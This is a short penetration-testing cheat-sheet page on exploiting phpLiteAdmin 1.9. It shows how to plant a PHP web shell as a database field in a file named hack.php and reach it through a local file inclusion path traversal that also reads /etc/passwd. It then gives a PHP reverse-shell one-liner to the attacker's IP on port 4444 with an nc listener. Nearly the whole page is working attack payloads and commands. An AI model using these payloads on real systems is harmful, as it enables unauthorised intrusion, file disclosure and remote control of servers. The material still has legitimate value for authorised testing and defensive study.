> For the complete documentation index, see [llms.txt](https://pentest.mxhx.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentest.mxhx.org/04-webapps/phplite.md).

# phpLite

## PHP Code Injection

* <https://www.exploit-db.com/exploits/24044>
* Create an evil database entry that lets you execute php
* created in the directory: **/var/tmp**

```
-------------------
> searchsploit phpLiteAdmin 1.9

-------------------
Create Database : hack.php
Create New table: hack (1 field)
Field: <?php echo system($_REQUEST ["cmd"]); ?>
Type: TEXT
```

## Local File Inclusion (LFI)

* You will need an [LFI](/04-webapps/lfi.md) to execute the php code you just created

```
http://xxx.com/manage.php?notes=/myNotes/../../../../../../../../etc/passwd
http://xxx.com/manage.php?notes=/myNotes/../../../../var/tmp/hack.php&cmd=ls

URL Encode this:
.. &cmd=php -r '$sock=fsockopen("$MyIP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

nc -nvlp 4444
whoami ..www-data
```